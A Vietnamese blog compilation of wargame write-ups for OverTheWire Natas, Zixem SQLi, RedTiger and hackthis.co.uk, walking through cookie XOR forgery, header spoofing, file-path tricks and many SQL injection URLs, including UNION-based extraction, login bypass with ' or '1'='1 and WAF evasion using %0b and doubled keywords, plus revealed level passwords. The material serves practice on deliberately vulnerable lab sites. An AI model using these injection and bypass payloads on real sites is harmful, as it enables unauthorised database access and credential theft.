write up OverTheWire Natas

chú ý đến file ảnh http://natas2.natas.labs.overthewire.org/files/users.txt

hint: No more information leaks!! Not even Google will find it this time…

thử đến file robots.txt ta có được đường dẫn http://natas3.natas.labs.overthewire.org/s3cr3t/ từ đây ta có được pass lvl4

yêu cầu: chỉ truy cập được khi user đến từ level 5. vậy ta thay đổi cookie sao cho url được gửi lên là từ level5. sử dụng http hearder để làm

Capture.PNG

hint: you are not logged in!

sử dụng lại http hearder thay loggedin=0 bằng loggedin=1

Capture.PNG

có đường link view source lên đọc đoạn php ta thấy có
include "includes/secret.inc";
thử thay đổi đường linh thành http://natas6.natas.labs.overthewire.org/includes/secret.inc nhưng không thấy gì. view source ra thấy user để query. submit ta được pass lvl7

view source ra ta có hint:

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

trở lại home ta thêm ‘ sau: index.php?page=home’

Capture.PNG

nhìn qua tưởng đây là một lỗi sqli nhưng query mã mà vẫn không đc. Thay

/etc/natas_webpass/natas8 = home

trong url thì đc pass

Capture.PNG

view source theo đường link ta có:

Capture.PNG

dễ thấy được rằng hàm “bin2hex(strrev(base64_encode()))” đã biến đổi input secret thành chuổi “3d3d516343746d4d6d6c315669563362“. Bây giờ ta chuyển đổi chuổi thành dạng text, đảo ngược rồi decode base64 là ra được input secret: oubWYf2kBq

Capture.PNG

vào đề bài họ cho hint: Cookies are protected with XOR encryption. Điều này có nghĩa là chúng ta phải làm việc với cookie xem source code

<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';

// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}

return $outText;
}

function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}

function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}

saveData($data);

?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}

?>

 

trên đây là tất cả code ta cần hiểu. Ta có “showpassword”==”yes” thì sẽ qua level, mặt khác $defaultdata=”no”. Như vậy ta phải sửa cookie request lên sever sao cho showpassword=yes

Trở lại bài: ta có hàm xor_encrypt() để mã hóa cookie. ta chú ý thì quá trình cảu hàm loaData() và saveData() có vẻ ngược lại với nhau

json_decode(xor_encrypt(base64_decode($_COOKIE["data"])) <=> base64_encode(xor_encrypt(json_encode($d)))

ta hiểu đơn giản thế này: hàm xor_encrypt mã hóa data cookie với một chuổi đã bị ẩn trong hàm xor $key = '<censored>'; sau đó output lại được xor tiếp trong hàm saveData() với $key = '<censored>'; để tạo cookie request lên sever. Vậy để can thiệp vào cookie ta có thể can thiệp ngay nơi biến $key = '<censored>';

Ở trong code không hàm chỉ ra biến $key là gì, nhưng ta có thể đoán được thông qua $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); và ($data["showpassword"] == "yes")

ta lấy được data của cookie thông qua firebug hoặc HTTP header

Capture.PNG

Vậy ta đã có đủ thông tin để chỉnh sữa cookie:

hàm xor trong loadData()

Capture.PNG

kết quả ta cho vào hàm xor trong saveData(), khi đã thay “no”=”yes”

Capture.PNG

chuổi sau khi thu đc: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFM=

code trên bị lỗi do len key và data khác nhau, ta thấy “qw8J” lặp lại

Capture.PNG

chuổi : ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

thay cookie và request ta đc:

Capture

natas 12: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

tham khảo: http://raidersec.blogspot.com/2012/10/overthewire-natas-wargame-level-11.html

 

 

 

 

 

 

 

 

 

 

Advertisements

Write up Zixem SQLi

để hiểu cơ bản về sqli và những trang web hướng đẫn cơ bản tham khảo: https://wordpress.com/post/qteams.wordpress.com/230

level 1 http://www.zixem.altervista.org/SQLi/level1.php?id=1

đây là một level để những người bắt đầu tập luyện

đầu tiên truy vấn xem lỗi

http://www.zixem.altervista.org/SQLi/level1.php?id=1&#8243;

Capture.PNG

sau khi xác định được lỗi sqli thì bắt đầu truy vấn. Sử dụng truy vấn order by thì ta tìm đc số cột là 3: http://www.zixem.altervista.org/SQLi/level1.php?id=1 order by 3 — -. Bởi vì nếu truy vấn từ 4 thì báo lỗi

Ở đây đề yêu cầu là tìm được version và user.

Capture.PNG

khi ta union select 1,2,3 —  1,2,3 tương ứng với các cột thì id hiện ra là 1. Như vậy ta truy vấn thay 1= version(), 2= user(). http://www.zixem.altervista.org/SQLi/level1.php?id=1 union select version(),user(),3 –. Nhưng không có gì khác biệt cả. Ta chỉnh id sao cho khác 1 là sẽ ra. Tại sao vậy? nếu muốn biết thì bạn thử các trường hợp id!=1 xem sao. rồi rút ra nhận xét gì đó cho riêng mình. cái này mình không chắc nên không dám chia sẽ :))

VD: http://www.zixem.altervista.org/SQLi/level1.php?id=2.     http://www.zixem.altervista.org/SQLi/level1.php?id=-1

level 2 http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4

ta tiếp tục như level1 là truy vấn: showprofile=4′ thì báo lỗi giờ truy vấn tìm cột. Nhưng không còn như leve1 là: showprofile=4 order by ….. mà giờ phải là: http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4&#8242; order by <số> — -. Tại sao lại là 4′ mà không phải 4 thì đó là cú pháp truy vấn tùy trường hợp nha các bạn :))

(Lưu ý) cái phần ghi chú — ta phải thay bằng — – cái này là để đảm bảo là sau — luôn có ít nhất một khoảng trắng. tìm hiểu thêm về bài write up redtiger 😀

sau khi có được số cột là 4 thì ta truy vấn để tìm ra “số” số này là chỉ cho ta biết cột nào có thể khai thác được trong đó: http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4&#8242; union select 1,2,3,4 — –

Capture.PNG

vậy ta thay tại vị trí 4 là version xem ra không: http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4&#8242; union select 1,2,3,version() — -. Nhưng không ra gì cả, thử thay showprofile=(số khác)  giống level1 xem sao

Capture.PNG

ra các con số của cột rồi đến đây thì ta truy vấn tiếp version(), user() vào các số số xem sao

Capture

ở đây mình truy vấn user(), version() nên chổ username là version của csdl đang dùng nhé

(lưu ý) khi truy vấn thì cần điền đủ số cột vd: http://www.zixem.altervista.org/SQLi/level2.php?showprofile=-4&#8242; union select user(),version(),4,3 — -. ở vị trí cột 3 và 4  có thể điền số hoặc null hoặc thậm chí là user() hoặc version() nhưng không được bỏ trống.

level 3  www.zixem.altervista.org/SQLi/level3.php?item=3

ta sử dụng truy vân như 2 bài trên ta có được số cột trong csdl là 4: http://www.zixem.altervista.org/SQLi/level3.php?item=3&#8242; order by 4 — –

sau đó ta sử dụng: item=3′ union select 1,2,3,4 — –Capture.PNG

vậy là không như mong muốn. Dòng thông báo trên ý là có lỗi trong cú pháp truy vấn SQLi “uni select 1,2,3,4 — -” mình nhập vào là union mà lỗi thông báo là uni. thử them on vào thành onionon select 1,2,3,4 — – và được.

Ở đây chắc bài này dạy chúng ta cách sử dụng câu truy vấn đây mà :))

http://www.zixem.altervista.org/SQLi/level3.php?item=-3 unionon select version(),user(),database(),4 — –

Capture.PNG

level 4 http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7

kiểm tra truy vấn như bình thường ta thấy được ở level này có 5 cột. http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7&#8242; order by 5 — –

và làm tương tự như các truy vấn phía trên thì ta cũng có được kết quả. Nếu hiểu đc 3 level trên thì level này khá dễ dàng phải không nào :))

http://www.zixem.altervista.org/SQLi/level4.php?ebookid=1&#8242; union select version(),user(),3,4,5 — –

Capture.PNG

level 7 (level 5, 6 chắc khó họ mới xếp sau :P)

http://www.zixem.altervista.org/SQLi/level7.php?id=1

ở level này hơn khó nhằn một chút. Chúng ta thử như những level trên đều không hiển thị gì hết. Vậy thì SQLi ở đâu đây? Và đây là một dạng mới đó là lỗi hiển thị trong source code chứ không đơn thuần là ngay trên giao diện nữa. Đoạn code làm chúng ta không thấy được lỗi là đây

Capture

khi đã xác định được đoạn code thì tiếp theo là xác định xem khi truy vấn thì data sẽ hiển thị lên ở đâu. Vậy thì truy vấn thử xem

view-source:http://www.zixem.altervista.org/SQLi/level7.php?id=1&#8242;

Capture

Như vậy thì ta thấy được lỗi hiển thị tại tham số “value”. truy vấn như bình thường ta xác định được số cột là 3.

truy vấn: ?id=-1 union select 1,2,3 — -. ta có được value=’ok2′ nghĩa là hiển thị ra số 2 mà từ những bài trước ta hay tìm

đến đây ta truy vấn: version() và user() ở cột thứ 2 thì ta tìm đc 😀

?id=-1 union select 1,version(),3 — –

Capture

?id=-1 union select 1,user(),3 — –

Capture

level 9 http://www.zixem.altervista.org/SQLi/lvl9.php?id=1

Khi mới vào trang ta được giao ngay nhiệm vụ là hiển thị tập tin theo đường dẫn: /etc/passwd

sau khi thử truy vấn ‘

Capture

sau đó truy vấn order by thì xác định được số cột là 2. tiêp theo truy vấn đủ kiểu thì không ra gì hết :((. để ý tới gọi ý thì phải theo đường dẫn để đến được file password

http://www.zixem.altervista.org/SQLi/lvl9.php?id=3&#8242; union select 1,2 — –

Capture

đây là con số ta cần tìm. Giờ là làm sao để truy vấn đến địa chỉ: /etc/passwd

thông báo lỗi cho ta biết là địa chỉ đường dẫn là: /membri/zixem/SQLi/lvl9.php

vậy thay ở 1 bằng đường dẫn: /membri/zixem/SQLi/etc/passwd  => lỗi

‘/membri/zixem/SQLi/etc/passwd‘ do trong thông báo lỗi include_path=’.:’ =>lỗi

(‘/membri/zixem/SQLi/etc/passwd‘) không được luôn. thử dịch địa chỉ thành (‘/membri/zixem/etc/passwd‘) => hên quá ra rồi :))

http://www.zixem.altervista.org/SQLi/lvl9.php?id=3&#8217; union select (‘/membri/zixem/etc/passwd’) ,2 — –

Capture.PNG

Như vậy là chúng ta truy theo thông báo lỗi mà có thể truy vấn đúng cú pháp

Cách khác đơn giản hơn đó là khi tìm được ra số 1. thì ta thay thế version() hoặc user() vào “lvl9.php?id=-999′ union select version(),2 — -” thì kết quả hiển thị

Capture

Quay lại với những level khó hơn 😐

level 8 http://www.zixem.altervista.org/SQLi/lvl8.php?id=1

như những level khác ta kiểm tra để phá vỡ cấu trúc truy vấn thì thu được lỗi SQLi.  Tiếp theo sử dụng order by để tìm số cột nhưng chỉ có một thông báo duy nhất “Hacking attempt” cho dù số cột có là bao nhiêu đi nữa. 

sau bao lâu tìm hiểu thì biết được đây là lỗi “Bypass” các bạn tham khảo bài viết Bypass từ http://tinyhacker01.blogspot.com/ . Và đây là một số cheat sheet để bypass WAF https://whitehat.vn/threads/bypass-waf-khai-thac-sql-injection.8523/

trong level 8 này. đầu tiên mình thử order by để tìm số cột mà không được. vậy nghĩ đế site đã chặn khoảng trắng trên url. thử thay space=%0b,%a0,%0c

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%0border%0bby%0b4%0b–%0b-

Capture

vậy là lỗi đã xuất hiện như bình thường query tiếp thì có được số cột là 3

lvl8.php?id=1%0bunion%0bselect%0b1,2,3%0b–%0b-

thông báo có nghĩa là sever không hiểu 1,2,3 là cái gì. như vậy là có vấn đề ở union hoặc select 

lvl8.php?id=1%0bUNunionION%0bselect%0b1,2,3%0b–%0b-

Capture

lvl8.php?id=1%0bunion%0bSELselectECT%0b1,2,3%0b–%0b-

Capture.PNG

lỗi ở select và ta chuyển thành SELselectECT.  trong nhiều trường hợp sẽ khác nhau. tùy vào trường hợp bypass

bypass đúng nhưng chưa hiển ra số, thay id !=1 là sẽ ra :))

lvl8.php?id=2%0bunion%0bSELselectECT%0bversion(),user(),3%0b–%0b-

Capture

Như vậy level này chỉ cho ta kĩ thuật bypass cơ bản, còn tùy trường hợp mà ta thử các bypass cho phù hợp với lỗi của site

level 6 http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10

đây là một bài bilnd cơ bản, nhưng phải có kinh nghiệm thì mới làm mọt cách hoàn hỏa đc :))

các bạn có thể tham khảo các khai thác blind cơ bản

https://securityforall.wordpress.com/2012/05/30/sql-injection-tutorials-huong-dan-day-du-ve-sql-injection/

rồi thử truy vấn thử. kết quả truy vấn cuối cùng là như vậy

http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=9999 union select (select concat(id) from teachers limit 1,6),(select teacher from teachers limit 1,1),(select teacher_age from teachers limit 1,1),(select price from teachers limit 1,1) — –

ở đây có lệnh concat() đó là nối chuổi, lệnh limit trong mysql giống như lệnh top() trong sql nhưng có start và finish

 

 

 

 

 

 

 

 

SQL injection :)) (WRITE UP REDTIGER)

      1. LEVEL 1 https://redtiger.labs.overthewire.org/level1.php

Ở đây có một số gợi ý đó là login bằng user: Hornoxe và pass ở bảng level1_users:

sau khi đọc hướng dẫn ở trang securityforall.wordpress.com thì ta có chút hiểu để truy vân và tìm đc lỗi.  ở dòng màu vàng. tùy trường hợp mà ta nhận thấy thông báo như thế nào là lỗi ở trang web đang thực hành.

 

Capture

sau khi xác định được trang lỗi thì truy vấn để số cột có trong csdl sql. nếu tìm được số cột như vậy ta dể dang định hướng để truy vấn csdl hơn.

với cú pháp : order by <số cột>

vd: order by 2 — – (https://redtiger.labs.overthewire.org/level1.php?cat=1 order by 2 — -)

Capture

như vậy ta thấy không có lỗi, có nghĩa là cột thứ 2 tồn tại.

ta thử lại với: order by 5 — – thì thấy xuất hiện lỗi. còn với 4 thì không. suy ra ở đây ta có 4 cột.

tiếp tục truy vấn bằng cú pháp <union select 1,2,3,4 — ->

Capture

NGOÀI LỀ: ta thấy hiện ra số 3 và 4. đây là số của cột mà ta có thể khai thác. ví dụ như truy vấn: user(), pass(), version()… ở những cột được hiện là có lỗi này.

Ở đây ta thử truy vấn version() xem sao. nói thêm version() là một hàm truy vấn trong sql. chúng ta có thể tham khảo ở trang sau http://www.mystown.com/2016/04/mot-so-cau-lenh-co-ban-cua-sql-injection.html

sau khi truy vấn thì ta có version của trang web đang sử dụng (https://redtiger.labs.overthewire.org/level1.php?cat=1 union select version(),version() — )

Capture

còn nếu truy vấn để xem database (https://redtiger.labs.overthewire.org/level1.php?cat=1 union select database(),database() — -)

Capture.PNG

có thể ở trang web này họ đã sữa lại thành hackit :)) (chỉ là phỏng đoán thôi)

thử thêm câu truy vấn. 1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata–

Capture.PNG

như vậy là người làm đề đã giấu thông tin về tên csdl. nhưng không sao khi khai thác ta có thể thử loại truy vấn để tìm đc là thuộc csdl gì

QUAY LẠI

Ở bài này yêu cầu tìm pass vì user đã cho nên ta truy vấn ở cột 3,4 để tìm thôi. 

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,user(),pass() — – (lỗi)

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,user,pass from level1_users — –  (lỗi)

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users — –

Capture

mừng quá ra rồi. như vậy ta đã truy vấn đc pass: “thatwaseasy” cho level1. đây là một level chủ yếu cho mn làm quen với cách truy vấn như thế nào là chính

    2. LEVEL 2  https://redtiger.labs.overthewire.org/level2.php

ở level này ta chỉ có Hint: Condition. ý ở đây là thêm điều kiện gì đó để có thể đăng nhập được. vậy thì có thể suy đoán và thử ngay là ‘ or ‘1’=’1 (và nhiều trường hợp khác vd: ” or “1”=”1, ” or “a”=”a ….) ở cả user và pass.

Ở đây câu truy vấn ” or “1”=”1 là câu đơn giản nhất trong SQLi. Chung quy là bạn sẽ dùng mệnh đề OR để kết thúc câu truy vấn trước đó để chuyển hướng sang câu sau với “1”=”1. Vậy là bạn đã làm cho điều kiện truy vấn vào csdl luôn đúng

cái này khá đơn giản nên không bàn nhiều nhé 😀 tìm hiểu thêm tại:  http://www.hvaonline.net/hvaonline/posts/list/10020.hva hoặc https://en.wikipedia.org/wiki/SQL_injection

BÀN THÊM 

Ở phần ghi chú của câu truy vấn vd trong MySQL thì — là phần ghi chú có nghĩa là sẽ loại bỏ tất cả những gì còn lại sau nó giúp ta đạt được ý muốn của câu truy vấn. nhưng trong trường hợp vd: https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users where username=”Hornoxe”;

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users — where username=”Hornoxe”; thì sẽ không có gì xảy ra đoạn chú thích vẫn hoạt động bình thường. nhưng nếu như

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users –where username=”Hornoxe”; thì sẽ không bình thường nữa. Tóm lại là nếu bạn cho chắc chắn thì bạn cần “– -” để đảm bảo có khoảng cách sau lệnh chú thích — vậy thôi :)_)_

  3. LEVEL 3

 

 

write up CRYPT hackthis.co.uk

level 1 https://www.hackthis.co.uk/levels/crypt/1

Capture.PNG

level 2  https://www.hackthis.co.uk/levels/crypt/2

  • Capture.PNG
  • Đây là một loại mã hóa Ceasar rất để nhận ra loại mã hóa cơ bản này. Chúng ta có thể sử dụng tool online như http://www.dcode.fr/caesar-cipher nên chọn chế độ vét cạn
  • WELCOMEBACKTHISLEVELISNOTASEASYASTHELASTBUTSTILLNOT

TOOCHALLENGINGSOGOAHEADANDENTERTHISPASSSHIFTTHATLETTER

  • nhưng đến đây thì cần chuyển sang dạng chữ thường. ta được: ‘welcomebackthislevelisnotaseasyasthelastbutstillnottoochallenging

sogoaheadandenterthispassshiftthatletter’

level 3  https://www.hackthis.co.uk/levels/crypt/3

Capture

  • Loại mã hóa này là gì: thử google một đoạn nhỏ xem sao? …. .. –..– / – …. .- -. -.- …
  • Ta thấy ngay đó là Morse Code

Capture.PNG

level 4   https://www.hackthis.co.uk/levels/crypt/4

Capture.PNG

Capture.PNG

level 5 https://www.hackthis.co.uk/levels/crypt/5

Capture

  • Chú ý một chút là ta thấy ngay đây là sự kết hợp giữ level1 và level4
  • Chúng ta thu đc pass: TheMentor

level 6 https://www.hackthis.co.uk/levels/crypt/6

 

 

write up BASIC+ hackthis.co.uk

basic+ level 1

Capture

  • ta thấy kêt quả đầu tiên là image vậy thử mở bằng trình mở ảnh xem sao. Ở đây mình mở bằng Paint

Capture

  • vậy là ta đã tìm được user và pass.
  • Ở đây còn cách khác đó là đổi đuôi thành .bmp vì BM6 là một định dạng của file .bmp

basic+ level 2

Capture.PNG

basic+ level 3

basic+ level 4

  • https://www.hackthis.co.uk/levels/basic+/4
  • khi vào level 4 ta có một file image.png tải về và mở notepad lên và tìm kiếm vơi từ khóa pass và user nhưng không có. Vậy ta sẽ tìm phương án khác
  • kéo chuột sang phải và thấy

Capture.PNG

  • có vẻ james giống tên của một ai đó, vậy cứ coi như đây là user đi bây giờ tìm pass

Capture

  • cứ đọc được là mình nghi ngờ hết (hí hí:D ). Bây giờ ngôi thử trường hợp xem không được thì tính tiếp. Mừng quá sau một hồi thử thì ta có pass: chocolate

basic+ level 5

Capture

  • Như vậy chắc chắn sẽ có user và tương tự ta tìm được user

Capture.PNG

basic+ level 6

  • bài này họ yêu cầu ta có được địa chỉ ip của web: hackthis.co.uk, tên công ty cung cấp sever này và X-B6-Key header.
  • nếu tìm địa chỉ ip sever ta có thể google.com ở đây mình dùng trang sau http://www.whoishostingthis.com/

Capture.PNG

  • Hên quá ở đây họ cho ta biết luôn cả host provider. Vậy ta còn X-B6-Key header. Cái này chúng ta vào mail của mình tìm lại thư hackthis đã gửi. vô hiển thị thư mục gốc rồi tìm trong đó là có(Nói thật cái này mình cũng chẳng hiểu tại sao nữa :((  )

Capture.PNG

  • Tiện đây ta nói thêm Ip của sever thì ta có trang web trên còn Ip của máy các bạn có thể vào cmd gõ “ipconfig” nhưng nhớ đây là ip trên mạng Lan. Còn Ip để đi ra Iternet thì các bạn phải tìm google “whoami”. Nhưng có một vấn đề là khi tìm sẽ có nhiều kq khác nhau. Cần một câu trả lời???

 

write up MAIN hackthis.co.uk

main level 1 (super easy)

  • kiến thưc: đọc hiểu html
  • chỉ cần view source ra rồi tìm kiếm với từ khóa pass hay user là ta đã thấy được :))

Capture

main level 2

  • kiến thức: đọc hiểu html
  • ở đây đâu tiên cứ thấy bài web là chúng ta view source. thử ctrl+F xem thế nào :)), nhưng tất nhiên là không có giải nào mà 2 bài lại giống nhau cả :3. Chúng ta sẽ tìm đến  phương thức POST, để tìm kiếm thông tin từ textbox input của trang web

Capture

  • ta nhận thấy  #resu và #ssap không nằm trong bất kì thẻ nào, có vẽ nó như ghi chú vậy. Thử đọc ngược lại ta sẽ thấy đó là user và pass. submit thôi :))

main level 3

Capture

  • Ở đây ta thấy giống như level 2. Nhưng ta để ý thấy có id=’user’ và id=’pass’, thử ctrl+F “getElementByID”(đây là hàm lấy ID) xem thế nào. Hoặc ta cũng có thể ctrl+F “user” xem nócó truy xuất user trong địa chỉ ID của thẻ input không

Capture.PNG

  • Và ở đây ta thấy được giá trị của địa chỉ ID của user và pass. Vậy là xong level 3 😀

main level 4

  • sau khi view source và tìm đến method POST ta được

Capture

  • ta dễ dàng nhận ra được có một file được ẩn đi theo địa chỉ của biến value=”
    /extras/ssap.xml

  • như vậy đây là một đường dẫn tới passwordfile. ta truy cập vào đường dẫn sau và thấy user và pass được ẩn trong đóhttps://www.hackthis.co.uk/levels/main/extras/ssap.xml

main level 5

  • đến đây ta thấy một bức ảnh và một textbox hiện lên để nhập pass mà không cần user. Ta tiếp tục view source và tìm đến method POST nhưng không có kết quả. Vậy thử lại với từ khóa “pass” xem sao. Bài này tương tự bài 1 thì phải :))

main level 6

  • Ngay khi mở lên ta có yêu cầu sau “Login as Ronald to complete the level “. Như vậy bằng cách nào đó ta phải login bằng user=”Ronald”. Mà trong username thì lại không có tên này. Ở level này ta sẽ sử dụng đến một add-ons trên firefox đó la firebug. Chúng ta tìm đến phương thức POST và sử dụng firebug để thay một username thành “Ronald”
  • Nhớ bật filebug ngay trang web chứ không phải trong view source nhé. chọn thẻ Inspecter và tìm đến Method POST sữa username thành “Ronald”. rồi chọn user là Ronald submit là OK 😀

main level 7

  • Ở level này làm tương tự như những level trước như không có gì khác biệt cả. ta thử vào hint coi, nó có gợi ý như sau

Capture

  • ta thấy tiếp tục có một file bị ẩn và gợi ý thứ 2 “sử dụng máy tìm kiếm như máy bots…”. Ở đây ta có một file robots.txt. File robots là gì, nó đơn giản như một flag, để máy tìm kiếm nhận dạng ra những nội dung nào trên website của bạn  cho phép các bot tìm kiếm và lập chỉ mục. File robots.txt này sẽ luôn đi sau địa chỉ trang web. tham khảo thêm http://hocwebtructuyen.com/thu-thuat/243-robots-txt-la-gi-va-cach-su-dung-robot-txt
  • Như vậy ta truy cập theo địa chỉ  https://www.hackthis.co.uk/robots.txt

Capture

  • Ta dễ dàng nhận ra đường dẫn tiếp theo là gì:)). Cuối cùng ta nhận được user:48w3756 và pass:u3qh458

main level 8

  • Tương tự bài 4 ta có một đường dẫn tại method POST
    extras/secret.txt

    Capture.PNG

  • Ta tiếp tục truy cập theo đường dẫn https://www.hackthis.co.uk/levels/extras/secret.txt ta thấy user và pass đã được mã hóa sang kiểu nhị phân. Giờ thì giải mã sang dạng hexa. Ở đây ta chuyển từng 4bit một. ta có thể sử dụng bảng ascii, caculator trên window hoặc tool mạng đều được :)). Ta sẽ thu được B00B và FEED

main level 9

  • View source ta thấy được một đường link ở method POSTCapture
  • Chú ý ở đây có Request details vô trong web level 9 sẽ có đường dẫn để ta nhập mail. Vậy thì sao? Ý ở đây là user và pass sẽ được gửi thông qua mail nhập vào
  • Làm thế nào để cho họ gửi vào mail của mình đây. Ta thấy có một chổ chứa mail đó là đây admin@hackthis.co.uk

Capture.PNG

  • Để sữa source code của một trang web ta tiếp tục sử dụng firebug để sữa nó thành email của mình rồi submit là OK 😀

mail level 10

  • Tiếp tục view source ta thấy một đường dẫn tiếp theo level10pass.txtCapture.PNG
  • Thử truy cập link bằng cách thay thế url phía trên xem thế nào vd như https://www.hackthis.co.uk/levels/main/level10pass.txt nhưng không ra. Vậy làm sao giờ. Nếu để ý một chút ta thấy trang web này có các bài giống nhau, thử lật lại bài 8 xem xem thế nào. Có phải đường dẫn đến file .txt là https://www.hackthis.co.uk/levels/extras/secret.txt  và nhìn lại một chút nữa thì ta sẽ nhận ra bài 7 cũng vậy. Vậy ta có đường dẫn của bài 10 https://www.hackthis.co.uk/levels/extras/level10pass.txt truy cập vào ta thấy một loạt các kí tự. Ta thấy đây là một loại mã hóa nào đó(ta đọc hint cũng có nói)
  • 69bfe1e6e44821df7f8a0927bd7e61ef208fdb25deaa4353450bc3fb904abd52
    f1abe1b083d12d181ae136cfc75b8d18a8ecb43ac4e9d1a36d6a9c75b6016b61

    ta có dự đoán đây là một loại nào đó trong kiểu MD5,SHA… hoặc gì đó. Cái này cứ thử thì sẽ biết thôi :)). Ta có thể vào https://md5hashing.net/hash/ để thử tất cả các trường hợp của loại này

Capture.PNG

  •  Sau khi chạy thì nó báo đây là mã SHA256

Capture.PNG

  • kết quả user: carl      pass:guess